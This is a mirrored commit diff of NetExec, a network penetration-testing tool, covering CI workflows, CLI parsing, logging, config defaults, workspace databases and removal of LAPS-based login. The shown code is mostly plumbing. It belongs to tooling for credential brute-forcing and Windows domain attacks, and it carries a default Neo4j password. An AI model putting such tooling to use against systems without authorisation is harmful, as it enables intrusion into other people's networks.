mirror of
https://github.com/Pennyw0rth/NetExec.git
synced 2026-11-09 04:10:18 -10:00
Compare commits
1
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
04c46f5444 |
No files matched your search
File renamed without changes.
@@ -1,11 +1,11 @@
|
||||
name: Lint Python code with ruff
|
||||
# Caching source: https://gist.github.com/gh640/233a6daf68e9e937115371c0ecd39c61?permalink_comment_id=4529233#gistcomment-4529233
|
||||
|
||||
on:
|
||||
push:
|
||||
on: [push, pull_request]
|
||||
|
||||
jobs:
|
||||
lint:
|
||||
name: Lint Python code with ruff
|
||||
runs-on: ubuntu-latest
|
||||
if:
|
||||
github.event_name == 'push' || github.event.pull_request.head.repo.full_name != github.repository
|
||||
|
||||
File renamed without changes.
+18
-34
@@ -1,48 +1,32 @@
|
||||
name: NetExec Tests
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
pull_request_review:
|
||||
types: [submitted]
|
||||
|
||||
jobs:
|
||||
build:
|
||||
name: Test for Py${{ matrix.python-version }}
|
||||
if: github.event.review.state == 'APPROVED'
|
||||
name: NetExec Tests for Py${{ matrix.python-version }}
|
||||
runs-on: ${{ matrix.os }}
|
||||
strategy:
|
||||
max-parallel: 5
|
||||
matrix:
|
||||
os: [ubuntu-latest]
|
||||
python-version: ["3.8", "3.9", "3.10", "3.11", "3.12"]
|
||||
python-version: ["3.7", "3.8", "3.9", "3.10", "3.11"]
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry
|
||||
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
|
||||
uses: actions/setup-python@v4
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
cache: poetry
|
||||
cache-dependency-path: poetry.lock
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry --python python${{ matrix.python-version }}
|
||||
poetry --version
|
||||
poetry env info
|
||||
- name: Install libraries with dev group
|
||||
run: |
|
||||
poetry install --with dev
|
||||
- name: Load every protocol and module
|
||||
run: |
|
||||
poetry run netexec winrm 127.0.0.1
|
||||
poetry run netexec vnc 127.0.0.1
|
||||
poetry run netexec smb 127.0.0.1
|
||||
poetry run netexec ldap 127.0.0.1
|
||||
poetry run netexec wmi 127.0.0.1
|
||||
poetry run netexec rdp 127.0.0.1
|
||||
poetry run netexec mssql 127.0.0.1
|
||||
poetry run netexec ssh 127.0.0.1
|
||||
poetry run netexec ftp 127.0.0.1
|
||||
poetry run netexec smb 127.0.0.1 -M veeam
|
||||
- uses: actions/checkout@v3
|
||||
- name: NetExec set up python on ${{ matrix.os }}
|
||||
uses: actions/setup-python@v4
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry --python python${{ matrix.python-version }}
|
||||
poetry --version
|
||||
poetry env info
|
||||
- name: Install libraries with dev group
|
||||
run: |
|
||||
poetry install --with dev
|
||||
- name: Run the e2e test
|
||||
run: |
|
||||
poetry run pytest tests
|
||||
@@ -3,7 +3,6 @@ hash_spider_default.sqlite3
|
||||
*.bak
|
||||
*.log
|
||||
.venv
|
||||
pyvenv.cfg
|
||||
.vscode
|
||||
.idea
|
||||
# Byte-compiled / optimized / DLL files
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||

|
||||

|
||||
[](https://twitter.com/intent/follow?screen_name=al3x_n3ff)
|
||||
[](https://twitter.com/intent/follow?screen_name=_zblurx)
|
||||
[](https://twitter.com/intent/follow?screen_name=MJHallenbeck)
|
||||
@@ -21,7 +21,7 @@ Going forward, our intent is to maintain a community-driven and maintained proje
|
||||
|
||||
You are on the **latest up-to-date** repository of the project NetExec (nxc) ! 🎉
|
||||
|
||||
- 🚧 If you want to report a problem, open an [Issue](https://github.com/Pennyw0rth/NetExec/issues)
|
||||
- 🚧 If you want to report a problem, open un [Issue](https://github.com/Pennyw0rth/NetExec/issues)
|
||||
- 🔀 If you want to contribute, open a [Pull Request](https://github.com/Pennyw0rth/NetExec/pulls)
|
||||
- 💬 If you want to discuss, open a [Discussion](https://github.com/Pennyw0rth/NetExec/discussions)
|
||||
|
||||
@@ -37,12 +37,6 @@ See the project's [wiki](https://netexec.wiki/) (in development) for documentati
|
||||
# Installation
|
||||
Please see the installation instructions on the [wiki](https://netexec.wiki/getting-started/installation) (in development)
|
||||
|
||||
## Linux
|
||||
```
|
||||
sudo apt install pipx git
|
||||
pipx ensurepath
|
||||
pipx install git+https://github.com/Pennyw0rth/NetExec
|
||||
```
|
||||
# Development
|
||||
Development guidelines and recommendations in development
|
||||
|
||||
|
||||
@@ -13,12 +13,6 @@ a = Analysis(
|
||||
('./nxc/modules', 'nxc/modules')
|
||||
],
|
||||
hiddenimports=[
|
||||
'aardwolf',
|
||||
'aardwolf.connection',
|
||||
'aardwolf.commons.queuedata.constants',
|
||||
'aardwolf.commons.iosettings',
|
||||
'aardwolf.commons.target',
|
||||
'aardwolf.protocol.x224.constants',
|
||||
'impacket.examples.secretsdump',
|
||||
'impacket.dcerpc.v5.lsat',
|
||||
'impacket.dcerpc.v5.transport',
|
||||
@@ -38,7 +32,6 @@ a = Analysis(
|
||||
'nxc.protocols.smb.smbspider',
|
||||
'nxc.protocols.smb.passpol',
|
||||
'nxc.protocols.mssql.mssqlexec',
|
||||
'nxc.parsers.ldap_results',
|
||||
'nxc.helpers.bash',
|
||||
'nxc.helpers.bloodhound',
|
||||
'nxc.helpers.msada_guids',
|
||||
@@ -72,8 +65,6 @@ a = Analysis(
|
||||
'dploot.lib.smb',
|
||||
'pyasn1_modules.rfc5652',
|
||||
'unicrypto.backends.pycryptodomex',
|
||||
'dateutil.relativedelta',
|
||||
'sspilib.raw._text',
|
||||
],
|
||||
hookspath=['./nxc/.hooks'],
|
||||
runtime_hooks=[],
|
||||
|
||||
+9
-37
@@ -1,34 +1,21 @@
|
||||
import argparse
|
||||
import argcomplete
|
||||
import sys
|
||||
from argparse import RawTextHelpFormatter
|
||||
from os import listdir
|
||||
from os.path import dirname
|
||||
from os.path import join as path_join
|
||||
import nxc
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.loaders.protocolloader import ProtocolLoader
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.logger import nxc_logger, setup_debug_logging
|
||||
from nxc.logger import nxc_logger
|
||||
import importlib.metadata
|
||||
|
||||
|
||||
def gen_cli_args():
|
||||
setup_debug_logging()
|
||||
|
||||
try:
|
||||
VERSION, COMMIT = importlib.metadata.version("netexec").split("+")
|
||||
except ValueError:
|
||||
VERSION = importlib.metadata.version("netexec")
|
||||
COMMIT = ""
|
||||
VERSION = importlib.metadata.version("netexec")
|
||||
CODENAME = "nxc4u"
|
||||
nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT}")
|
||||
|
||||
parser = argparse.ArgumentParser(description=rf"""
|
||||
parser = argparse.ArgumentParser(description=f"""
|
||||
. .
|
||||
.| |. _ _ _ _____
|
||||
|| || | \ | | ___ | |_ | ____| __ __ ___ ___
|
||||
\\( )// | \| | / _ \ | __| | _| \ \/ / / _ \ / __|
|
||||
\\\( )// | \| | / _ \ | __| | _| \ \/ / / _ \ / __|
|
||||
.=[ ]=. | |\ | | __/ | |_ | |___ > < | __/ | (__
|
||||
/ /ॱ-ॱ\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___|
|
||||
ॱ \ / ॱ
|
||||
@@ -41,10 +28,9 @@ def gen_cli_args():
|
||||
|
||||
{highlight('Version', 'red')} : {highlight(VERSION)}
|
||||
{highlight('Codename', 'red')}: {highlight(CODENAME)}
|
||||
{highlight('Commit', 'red')} : {highlight(COMMIT)}
|
||||
""", formatter_class=RawTextHelpFormatter)
|
||||
|
||||
parser.add_argument("-t", type=int, dest="threads", default=256, help="set how many concurrent threads to use (default: 256)")
|
||||
parser.add_argument("-t", type=int, dest="threads", default=100, help="set how many concurrent threads to use (default: 100)")
|
||||
parser.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread (default: None)")
|
||||
parser.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each connection (default: None)")
|
||||
parser.add_argument("--no-progress", action="store_true", help="Not displaying progress bar during scan")
|
||||
@@ -55,7 +41,7 @@ def gen_cli_args():
|
||||
# we do module arg parsing here so we can reference the module_list attribute below
|
||||
module_parser = argparse.ArgumentParser(add_help=False)
|
||||
mgroup = module_parser.add_mutually_exclusive_group()
|
||||
mgroup.add_argument("-M", "--module", choices=get_module_names(), action="append", metavar="MODULE", help="module to use")
|
||||
mgroup.add_argument("-M", "--module", action="append", metavar="MODULE", help="module to use")
|
||||
module_parser.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
|
||||
module_parser.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
|
||||
module_parser.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
|
||||
@@ -95,28 +81,14 @@ def gen_cli_args():
|
||||
except Exception as e:
|
||||
nxc_logger.exception(f"Error loading proto_args from proto_args.py file in protocol folder: {protocol} - {e}")
|
||||
|
||||
argcomplete.autocomplete(parser)
|
||||
args = parser.parse_args()
|
||||
|
||||
if len(sys.argv) == 1:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
if args.version:
|
||||
print(f"{VERSION} - {CODENAME} - {COMMIT}")
|
||||
print(f"{VERSION} - {CODENAME}")
|
||||
sys.exit(1)
|
||||
|
||||
return args
|
||||
|
||||
|
||||
def get_module_names():
|
||||
"""Get module names without initializing them"""
|
||||
modules = []
|
||||
modules_paths = [
|
||||
path_join(dirname(nxc.__file__), "modules"),
|
||||
path_join(NXC_PATH, "modules"),
|
||||
]
|
||||
|
||||
for path in modules_paths:
|
||||
modules.extend([module[:-3] for module in listdir(path) if module[-3:] == ".py" and module != "example_module.py"])
|
||||
return sorted(modules, key=str.casefold)
|
||||
+2
-2
@@ -43,5 +43,5 @@ if len(host_info_colors) != 4:
|
||||
|
||||
# this should probably be put somewhere else, but if it's in the config helpers, there is a circular import
|
||||
def process_secret(text):
|
||||
reveal = text[:reveal_chars_of_pwd]
|
||||
return text if not audit_mode else reveal + (audit_mode if len(audit_mode) > 1 else audit_mode * 8)
|
||||
hidden = text[:reveal_chars_of_pwd]
|
||||
return text if not audit_mode else hidden + audit_mode * 8
|
||||
+2
-20
@@ -10,11 +10,9 @@ from nxc.config import pwned_label
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.logger import nxc_logger, NXCAdapter
|
||||
from nxc.context import Context
|
||||
from nxc.protocols.ldap.laps import laps_search
|
||||
|
||||
from impacket.dcerpc.v5 import transport
|
||||
import sys
|
||||
import contextlib
|
||||
|
||||
sem = BoundedSemaphore(1)
|
||||
global_failed_logins = 0
|
||||
@@ -122,14 +120,7 @@ class connection:
|
||||
try:
|
||||
self.proto_flow()
|
||||
except Exception as e:
|
||||
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
|
||||
self.logger.error(f"Exception while calling proto_flow() on target {self.host}: {e}")
|
||||
else:
|
||||
self.logger.exception(f"Exception while calling proto_flow() on target {self.host}: {e}")
|
||||
finally:
|
||||
self.logger.debug(f"Closing connection to: {host}")
|
||||
with contextlib.suppress(Exception):
|
||||
self.conn.close()
|
||||
self.logger.exception(f"Exception while calling proto_flow() on target {self.host}: {e}")
|
||||
|
||||
@staticmethod
|
||||
def proto_args(std_parser, module_parser):
|
||||
@@ -171,9 +162,7 @@ class connection:
|
||||
def proto_flow(self):
|
||||
self.logger.debug("Kicking off proto_flow")
|
||||
self.proto_logger()
|
||||
if not self.create_conn_obj():
|
||||
self.logger.info(f"Failed to create connection object for target {self.host}, exiting...")
|
||||
else:
|
||||
if self.create_conn_obj():
|
||||
self.logger.debug("Created connection object")
|
||||
self.enum_host_info()
|
||||
if self.print_host_info() and (self.login() or (self.username == "" and self.password == "")):
|
||||
@@ -470,13 +459,6 @@ class connection:
|
||||
self.logger.info("Successfully authenticated using Kerberos cache")
|
||||
return True
|
||||
|
||||
if hasattr(self.args, "laps") and self.args.laps:
|
||||
self.logger.debug("Trying to authenticate using LAPS")
|
||||
username[0], secret[0], domain[0], ntlm_hash = laps_search(self, username, secret, cred_type, domain)
|
||||
cred_type = ["plaintext"]
|
||||
if not (username[0] or secret[0] or domain[0]):
|
||||
return False
|
||||
|
||||
if not self.args.no_bruteforce:
|
||||
for secr_index, secr in enumerate(secret):
|
||||
for user_index, user in enumerate(username):
|
||||
|
||||
+1
-1
@@ -13,7 +13,7 @@ bh_enabled = False
|
||||
bh_uri = 127.0.0.1
|
||||
bh_port = 7687
|
||||
bh_user = neo4j
|
||||
bh_pass = bloodhoundcommunityedition
|
||||
bh_pass = neo4j
|
||||
|
||||
[Empire]
|
||||
api_host = 127.0.0.1
|
||||
|
||||
@@ -1,97 +0,0 @@
|
||||
import sys
|
||||
import configparser
|
||||
import shutil
|
||||
from sqlalchemy import create_engine
|
||||
from sqlite3 import connect
|
||||
from os import mkdir
|
||||
from os.path import exists
|
||||
from os.path import join as path_join
|
||||
|
||||
from nxc.loaders.protocolloader import ProtocolLoader
|
||||
from nxc.paths import WORKSPACE_DIR
|
||||
|
||||
|
||||
def create_db_engine(db_path):
|
||||
return create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
|
||||
|
||||
|
||||
def open_config(config_path):
|
||||
try:
|
||||
config = configparser.ConfigParser()
|
||||
config.read(config_path)
|
||||
except Exception as e:
|
||||
print(f"[-] Error reading nxc.conf: {e}")
|
||||
sys.exit(1)
|
||||
return config
|
||||
|
||||
|
||||
def get_workspace(config):
|
||||
return config.get("nxc", "workspace")
|
||||
|
||||
|
||||
def set_workspace(config_path, workspace_name):
|
||||
config = open_config(config_path)
|
||||
config.set("nxc", "workspace", workspace_name)
|
||||
write_configfile(config, config_path)
|
||||
print(f"[*] Workspace set to {workspace_name}")
|
||||
|
||||
|
||||
def get_db(config):
|
||||
return config.get("nxc", "last_used_db")
|
||||
|
||||
|
||||
def write_configfile(config, config_path):
|
||||
with open(config_path, "w") as configfile:
|
||||
config.write(configfile)
|
||||
|
||||
|
||||
def create_workspace(workspace_name, p_loader=None):
|
||||
"""
|
||||
Create a new workspace with the given name.
|
||||
|
||||
Args:
|
||||
----
|
||||
workspace_name (str): The name of the workspace.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
None
|
||||
"""
|
||||
if exists(path_join(WORKSPACE_DIR, workspace_name)):
|
||||
print(f"[-] Workspace {workspace_name} already exists")
|
||||
else:
|
||||
print(f"[*] Creating {workspace_name} workspace")
|
||||
mkdir(path_join(WORKSPACE_DIR, workspace_name))
|
||||
|
||||
if p_loader is None:
|
||||
p_loader = ProtocolLoader()
|
||||
protocols = p_loader.get_protocols()
|
||||
|
||||
for protocol in protocols:
|
||||
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
|
||||
proto_db_path = path_join(WORKSPACE_DIR, workspace_name, f"{protocol}.db")
|
||||
|
||||
if not exists(proto_db_path):
|
||||
print(f"[*] Initializing {protocol.upper()} protocol database")
|
||||
conn = connect(proto_db_path)
|
||||
c = conn.cursor()
|
||||
|
||||
# try to prevent some weird sqlite I/O errors
|
||||
c.execute("PRAGMA journal_mode = OFF")
|
||||
c.execute("PRAGMA foreign_keys = 1")
|
||||
|
||||
protocol_object.database.db_schema(c)
|
||||
|
||||
# commit the changes and close everything off
|
||||
conn.commit()
|
||||
conn.close()
|
||||
|
||||
|
||||
def delete_workspace(workspace_name):
|
||||
shutil.rmtree(path_join(WORKSPACE_DIR, workspace_name))
|
||||
print(f"[*] Workspace {workspace_name} deleted")
|
||||
|
||||
|
||||
def initialize_db():
|
||||
if not exists(path_join(WORKSPACE_DIR, "default")):
|
||||
create_workspace("default")
|
||||
+2
-2
@@ -3,7 +3,7 @@ from os.path import exists
|
||||
from os.path import join as path_join
|
||||
import shutil
|
||||
from nxc.paths import NXC_PATH, CONFIG_PATH, TMP_PATH, DATA_PATH
|
||||
from nxc.database import initialize_db
|
||||
from nxc.nxcdb import initialize_db
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
@@ -29,7 +29,7 @@ def first_run_setup(logger=nxc_logger):
|
||||
logger.display(f"Creating missing folder {folder}")
|
||||
mkdir(path_join(NXC_PATH, folder))
|
||||
|
||||
initialize_db()
|
||||
initialize_db(logger)
|
||||
|
||||
if not exists(CONFIG_PATH):
|
||||
logger.display("Copying default configuration file")
|
||||
|
||||
@@ -52,14 +52,14 @@ def add_user_bh(user, domain, logger, config):
|
||||
_add_with_domain(user_info, domain, tx, logger)
|
||||
except AuthError:
|
||||
logger.fail(f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid.")
|
||||
exit()
|
||||
return
|
||||
except ServiceUnavailable:
|
||||
logger.fail(f"Neo4J does not seem to be available on {uri}.")
|
||||
exit()
|
||||
return
|
||||
except Exception as e:
|
||||
logger.fail(f"Unexpected error with Neo4J: {e}")
|
||||
finally:
|
||||
driver.close()
|
||||
return
|
||||
driver.close()
|
||||
|
||||
|
||||
def _add_with_domain(user_info, domain, tx, logger):
|
||||
|
||||
@@ -1,34 +0,0 @@
|
||||
# Original from here: https://github.com/fortra/impacket/blob/master/examples/DumpNTLMInfo.py#L568
|
||||
|
||||
import struct
|
||||
|
||||
from impacket import ntlm
|
||||
from impacket.smb3 import WIN_VERSIONS
|
||||
import contextlib
|
||||
|
||||
|
||||
def parse_challenge(challange):
|
||||
target_info = {
|
||||
"hostname": None,
|
||||
"domain": None,
|
||||
"os_version": None
|
||||
}
|
||||
challange = ntlm.NTLMAuthChallenge(challange)
|
||||
av_pairs = ntlm.AV_PAIRS(challange["TargetInfoFields"][:challange["TargetInfoFields_len"]])
|
||||
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
|
||||
if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
|
||||
if "Version" in challange.fields:
|
||||
version = challange["Version"]
|
||||
if len(version) >= 4:
|
||||
major_version = version[0]
|
||||
minor_version = version[1]
|
||||
product_build = struct.unpack("<H", version[2:4])[0]
|
||||
if product_build in WIN_VERSIONS:
|
||||
target_info["os_version"] = f"{WIN_VERSIONS[product_build]} Build {product_build}"
|
||||
else:
|
||||
target_info["os_version"] = f"{major_version}.{minor_version} Build {product_build}"
|
||||
return target_info
|
||||
@@ -24,9 +24,6 @@ class ModuleLoader:
|
||||
if not hasattr(module, "name"):
|
||||
self.logger.fail(f"{module_path} missing the name variable")
|
||||
module_error = True
|
||||
elif hasattr(module, "name") and module.name != module_path.split("/")[-1].split("\\")[-1][:-3]:
|
||||
self.logger.fail(f"{module_path} filename must match the module name {module.name}")
|
||||
module_error = True
|
||||
elif not hasattr(module, "description"):
|
||||
self.logger.fail(f"{module_path} missing the description variable")
|
||||
module_error = True
|
||||
@@ -95,7 +92,7 @@ class ModuleLoader:
|
||||
module_spec = spec.loader.load_module().NXCModule
|
||||
|
||||
module = {
|
||||
f"{module_spec.name}": {
|
||||
f"{module_spec.name.lower()}": {
|
||||
"path": module_path,
|
||||
"description": module_spec.description,
|
||||
"options": module_spec.options.__doc__,
|
||||
|
||||
+66
-88
@@ -4,77 +4,12 @@ from logging.handlers import RotatingFileHandler
|
||||
import os.path
|
||||
import sys
|
||||
import re
|
||||
from nxc.helpers.misc import called_from_cmd_args
|
||||
from nxc.console import nxc_console
|
||||
from termcolor import colored
|
||||
from datetime import datetime
|
||||
from rich.text import Text
|
||||
from rich.logging import RichHandler
|
||||
import functools
|
||||
import inspect
|
||||
import argparse
|
||||
|
||||
|
||||
def parse_debug_args():
|
||||
debug_parser = argparse.ArgumentParser(add_help=False)
|
||||
debug_parser.add_argument("--debug", action="store_true")
|
||||
debug_parser.add_argument("--verbose", action="store_true")
|
||||
args, _ = debug_parser.parse_known_args()
|
||||
return args
|
||||
|
||||
def setup_debug_logging():
|
||||
debug_args = parse_debug_args()
|
||||
root_logger = logging.getLogger("root")
|
||||
|
||||
if debug_args.verbose:
|
||||
nxc_logger.logger.setLevel(logging.INFO)
|
||||
root_logger.setLevel(logging.INFO)
|
||||
elif debug_args.debug:
|
||||
nxc_logger.logger.setLevel(logging.DEBUG)
|
||||
root_logger.setLevel(logging.DEBUG)
|
||||
else:
|
||||
nxc_logger.logger.setLevel(logging.ERROR)
|
||||
root_logger.setLevel(logging.ERROR)
|
||||
|
||||
|
||||
def create_temp_logger(caller_frame, formatted_text, args, kwargs):
|
||||
"""Create a temporary logger for emitting a log where we need to override the calling file & line number, since these are obfuscated"""
|
||||
temp_logger = logging.getLogger("temp")
|
||||
formatter = logging.Formatter("%(message)s", datefmt="[%X]")
|
||||
handler = SmartDebugRichHandler(formatter=formatter)
|
||||
handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, kwargs, caller_frame=caller_frame))
|
||||
|
||||
|
||||
class SmartDebugRichHandler(RichHandler):
|
||||
"""Custom logging handler for when we want to log normal messages to DEBUG and not double log"""
|
||||
def __init__(self, formatter=None, *args, **kwargs):
|
||||
super().__init__(*args, **kwargs)
|
||||
if formatter is not None:
|
||||
self.setFormatter(formatter)
|
||||
|
||||
def emit(self, record):
|
||||
"""Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno"""
|
||||
if hasattr(record, "caller_frame"):
|
||||
frame_info = inspect.getframeinfo(record.caller_frame)
|
||||
record.pathname = frame_info.filename
|
||||
record.lineno = frame_info.lineno
|
||||
super().emit(record)
|
||||
|
||||
|
||||
def no_debug(func):
|
||||
"""Stops logging non-debug messages when we are in debug mode
|
||||
It creates a temporary logger and logs the message to the console and file
|
||||
This is so we don't get both normal output AND debugging output, AND so we get the proper log calling file & line number
|
||||
"""
|
||||
@functools.wraps(func)
|
||||
def wrapper(self, msg, *args, **kwargs):
|
||||
if self.logger.getEffectiveLevel() >= logging.INFO:
|
||||
return func(self, msg, *args, **kwargs)
|
||||
else:
|
||||
formatted_text = Text.from_ansi(self.format(msg, *args, **kwargs)[0])
|
||||
caller_frame = inspect.currentframe().f_back
|
||||
create_temp_logger(caller_frame, formatted_text, args, kwargs)
|
||||
self.log_console_to_file(formatted_text, *args, **kwargs)
|
||||
return wrapper
|
||||
|
||||
|
||||
class NXCAdapter(logging.LoggerAdapter):
|
||||
@@ -82,11 +17,13 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
logging.basicConfig(
|
||||
format="%(message)s",
|
||||
datefmt="[%X]",
|
||||
handlers=[RichHandler(
|
||||
console=nxc_console,
|
||||
rich_tracebacks=True,
|
||||
tracebacks_show_locals=False
|
||||
)],
|
||||
handlers=[
|
||||
RichHandler(
|
||||
console=nxc_console,
|
||||
rich_tracebacks=True,
|
||||
tracebacks_show_locals=False,
|
||||
)
|
||||
],
|
||||
)
|
||||
self.logger = logging.getLogger("nxc")
|
||||
self.extra = extra
|
||||
@@ -95,7 +32,6 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
logging.getLogger("pypykatz").disabled = True
|
||||
logging.getLogger("minidump").disabled = True
|
||||
logging.getLogger("lsassy").disabled = True
|
||||
logging.getLogger("neo4j").setLevel(logging.ERROR)
|
||||
|
||||
def format(self, msg, *args, **kwargs): # noqa: A003
|
||||
"""Format msg for output
|
||||
@@ -105,49 +41,77 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
if self.extra is None:
|
||||
return f"{msg}", kwargs
|
||||
|
||||
if "module_name" in self.extra and len(self.extra["module_name"]) > 11:
|
||||
if "module_name" in self.extra and len(self.extra["module_name"]) > 8:
|
||||
self.extra["module_name"] = self.extra["module_name"][:8] + "..."
|
||||
|
||||
# If the logger is being called when hooking the 'options' module function
|
||||
if len(self.extra) == 1 and ("module_name" in self.extra):
|
||||
return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}", kwargs)
|
||||
return (
|
||||
f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}",
|
||||
kwargs,
|
||||
)
|
||||
|
||||
# If the logger is being called from nxcServer
|
||||
if len(self.extra) == 2 and ("module_name" in self.extra) and ("host" in self.extra):
|
||||
return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}", kwargs)
|
||||
return (
|
||||
f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}",
|
||||
kwargs,
|
||||
)
|
||||
|
||||
# If the logger is being called from a protocol
|
||||
module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"]) if "module_name" in self.extra else colored(self.extra["protocol"], "blue", attrs=["bold"])
|
||||
|
||||
return (f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}", kwargs)
|
||||
return (
|
||||
f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}",
|
||||
kwargs,
|
||||
)
|
||||
|
||||
@no_debug
|
||||
def display(self, msg, *args, **kwargs):
|
||||
"""Display text to console, formatted for nxc"""
|
||||
try:
|
||||
if self.extra and "protocol" in self.extra and not called_from_cmd_args():
|
||||
return
|
||||
except AttributeError:
|
||||
pass
|
||||
|
||||
msg, kwargs = self.format(f"{colored('[*]', 'blue', attrs=['bold'])} {msg}", kwargs)
|
||||
text = Text.from_ansi(msg)
|
||||
nxc_console.print(text, *args, **kwargs)
|
||||
self.log_console_to_file(text, *args, **kwargs)
|
||||
|
||||
@no_debug
|
||||
def success(self, msg, color="green", *args, **kwargs):
|
||||
"""Prints some sort of success to the user"""
|
||||
"""Print some sort of success to the user"""
|
||||
try:
|
||||
if self.extra and "protocol" in self.extra and not called_from_cmd_args():
|
||||
return
|
||||
except AttributeError:
|
||||
pass
|
||||
|
||||
msg, kwargs = self.format(f"{colored('[+]', color, attrs=['bold'])} {msg}", kwargs)
|
||||
text = Text.from_ansi(msg)
|
||||
nxc_console.print(text, *args, **kwargs)
|
||||
self.log_console_to_file(text, *args, **kwargs)
|
||||
|
||||
@no_debug
|
||||
def highlight(self, msg, *args, **kwargs):
|
||||
"""Prints a completely yellow highlighted message to the user"""
|
||||
try:
|
||||
if self.extra and "protocol" in self.extra and not called_from_cmd_args():
|
||||
return
|
||||
except AttributeError:
|
||||
pass
|
||||
|
||||
msg, kwargs = self.format(f"{colored(msg, 'yellow', attrs=['bold'])}", kwargs)
|
||||
text = Text.from_ansi(msg)
|
||||
nxc_console.print(text, *args, **kwargs)
|
||||
self.log_console_to_file(text, *args, **kwargs)
|
||||
|
||||
@no_debug
|
||||
def fail(self, msg, color="red", *args, **kwargs):
|
||||
"""Prints a failure (may or may not be an error) - e.g. login creds didn't work"""
|
||||
try:
|
||||
if self.extra and "protocol" in self.extra and not called_from_cmd_args():
|
||||
return
|
||||
except AttributeError:
|
||||
pass
|
||||
msg, kwargs = self.format(f"{colored('[-]', color, attrs=['bold'])} {msg}", kwargs)
|
||||
text = Text.from_ansi(msg)
|
||||
nxc_console.print(text, *args, **kwargs)
|
||||
@@ -159,12 +123,26 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
If debug or info logging is not enabled, we still want display/success/fail logged to the file specified,
|
||||
so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers)
|
||||
"""
|
||||
if self.logger.getEffectiveLevel() >= logging.INFO and len(self.logger.handlers): # will be 0 if it's just the console output, so only do this if we actually have file loggers
|
||||
try:
|
||||
for handler in self.logger.handlers:
|
||||
handler.handle(LogRecord("nxc", 20, "", kwargs, msg=text, args=args, exc_info=None))
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Issue while trying to custom print handler: {e}")
|
||||
if self.logger.getEffectiveLevel() >= logging.INFO:
|
||||
# will be 0 if it's just the console output, so only do this if we actually have file loggers
|
||||
if len(self.logger.handlers):
|
||||
try:
|
||||
for handler in self.logger.handlers:
|
||||
handler.handle(
|
||||
LogRecord(
|
||||
"nxc",
|
||||
20,
|
||||
"",
|
||||
kwargs,
|
||||
msg=text,
|
||||
args=args,
|
||||
exc_info=None,
|
||||
)
|
||||
)
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Issue while trying to custom print handler: {e}")
|
||||
else:
|
||||
self.logger.info(text)
|
||||
|
||||
def add_file_log(self, log_file=None):
|
||||
file_formatter = TermEscapeCodeFormatter("%(asctime)s - %(levelname)s - %(message)s")
|
||||
@@ -198,7 +176,7 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
datetime.now().strftime("%Y-%m-%d"),
|
||||
f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log",
|
||||
)
|
||||
|
||||
|
||||
|
||||
class TermEscapeCodeFormatter(logging.Formatter):
|
||||
"""A class to strip the escape codes for logging to files"""
|
||||
|
||||
File renamed without changes.
@@ -14,7 +14,7 @@ class NXCModule:
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
|
||||
name = "maq"
|
||||
name = "MAQ"
|
||||
description = "Retrieves the MachineAccountQuota domain-level attribute"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
@@ -3,6 +3,7 @@ import ldap3
|
||||
